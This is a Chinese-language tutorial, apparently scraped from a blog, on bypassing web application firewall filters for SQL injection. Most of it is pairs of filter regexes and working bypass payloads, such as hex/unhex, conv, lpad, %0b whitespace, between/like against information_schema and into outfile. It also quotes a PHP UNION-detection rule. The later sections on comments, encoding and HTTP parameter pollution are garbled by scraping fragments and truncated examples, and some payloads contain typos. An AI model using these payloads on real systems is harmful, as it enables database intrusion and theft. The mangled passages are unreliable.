一、 绕过waf思路
从第一步起，一点一点去分析，然后绕过。
1、过滤 and,or
preg_match('/(and|or)/i', $id)
Filtered injection: 1 or 1 = 1 1 and 1 = 1
Bypassed injection: 1 || 1 = 1 1 && 1 = 1
2、过滤 and, or, union
preg_match('/(and|or|union)/i', $id)
Filtered injection: union select user, password from users
Bypassed injection: 1 || (select user from users where user_id = 1) = 'admin'
3、过滤 and, or, union, where
preg_match('/(and|or|union|where)/i', $id)
Filtered injection: 1 || (select user from users where user_id = 1) = 'admin'
Bypassed injection: 1 || (select user from users limit 1) = 'admin'
4、过滤 and, or, union, where, limit
preg_match('/(and|or|union|where|limit)/i', $id)
Filtered injection: 1 || (select user from users limit 1) = 'admin'
Bypassed injection: 1 || (select user from users group by user_id having user_id = 1) = 'admin'
5、过滤 and, or, union, where, limit, group by
preg_match('/(and|or|union|where|limit|group by)/i', $id)
Filtered injection: 1 || (select user from users group by user_id having user_id = 1) = 'admin'
Bypassed injection: 1 || (select substr(gruop_concat(user_id),1,1) user from users ) = 1
6、过滤 and, or, union, where, limit, group by, select
preg_match('/(and|or|union|where|limit|group by|select)/i', $id)
Filtered injection: 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
Bypassed injection: 1 || 1 = 1 into outfile 'result.txt'
Bypassed injection: 1 || substr(user,1,1) = 'a'
7、过滤 and, or, union, where, limit, group by, select, ‘
preg_match('/(and|or|union|where|limit|group by|select|\')/i', $id)
Filtered injection: 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
Bypassed injection: 1 || user_id is not null
Bypassed injection: 1 || substr(user,1,1) = 0x61
Bypassed injection: 1 || substr(user,1,1) = unhex(61)
8、过滤 and, or, union, where, limit, group by, select, ‘, hex
preg_match('/(and|or|union|where|limit|group by|select|\'|hex)/i', $id)
Filtered injection: 1 || substr(user,1,1) = unhex(61)
Bypassed injection: 1 || substr(user,1,1) = lower(conv(11,10,36))
9、过滤 and, or, union, where, limit, group by, select, ‘, hex, substr
preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr)/i', $id)
Filtered injection: 1 || substr(user,1,1) = lower(conv(11,10,36))
Bypassed injection: 1 || lpad(user,7,1)
10、过滤 and, or, union, where, limit, group by, select, ‘, hex, substr, 空格
preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr|\s)/i', $id)
Filtered injection: 1 || lpad(user,7,1)
ypassed injection: 1%0b||%0blpad(user,7,1)
二、正则绕过
根据正则的的模糊匹配特性绕过，比如过滤了'='
filtered injection: 1 or 1 = 1
Bypassed injection: 1 or 1,1 or ‘1',1 or char(97)
eg: filtered injection: 1 union select 1, table_name from information_schema.tables where table_name = 'users' Bypassed injection: 1 union select 1, table_name from information_schema.tables where table_name between 'a' and 'z' Bypassed injection: 1 union select 1, table_name from information_schema.tables where table_name between char(97) and char(122) Bypassed injection: 1 union select 1, table_name from information_schema.tables where table_name between 0x61 and 0x7a Bypassed Injection: 1 union select 1, table_name from information_schema.tables where table_name like 0x7573657273
三、通用绕过
1.注释符
"htmlcode">"htmlcode">"htmlcode">Forbidden: http://localhost/id/1/**/||/**/lpad(first_name,7,1).html Bypassed : http://localhost/id/1%0b||%0blpad(first_name,7,1).html4.编码
一个经典的脚本：Nukesentinel.php
// Check for UNION attack // Copyright 2004(c) Raven PHP Scripts $blocker_row = $blocker_array[1]; if($blocker_row['activate'] > 0) { if (stristr($nsnst_const['query_string'],'+union+') OR stristr($nsnst_const['query_string'],'%20union%20') OR stristr($nsnst_const['query_string'],'*/union/*') OR stristr($nsnst_const['query_string'],' union ') OR stristr($nsnst_const['query_string_base64'],'+union+') OR stristr($nsnst_const['query_string_base64'],'%20union%20') OR stristr($nsnst_const['query_string_base64'],'*/union/*') OR stristr($nsnst_const['query_string_base64'],' union ')) { // block_ip($blocker_row); die("BLOCK IP 1 " ); } }Forbidden: http://localhost/php/"htmlcode">http://localhost/news.php"htmlcode">http://localhost/news.php"color: #ff0000">四、高级绕过
1.HPP（http参数污染)
举个例子：
index.php"htmlcode">Forbidden: http://localhost/search.aspx"htmlcode">Unreserved: a-z, A-Z, 0-9 and _ . ! ~ * ' () Reserved : ; / "htmlcode">| Query String | Apache/2.2.16,PHP/5.3.3 | IIS6/ASP | | :— | :— | :— | | "htmlcode">Forbidden: http://localhost/"color: #ff0000">总结以上就是关于sql注入绕过的技巧总结，希望本文的内容对大家的学习或者工作能带来一定的帮助，如果有疑问大家可以留言交流，谢谢大家对的支持。
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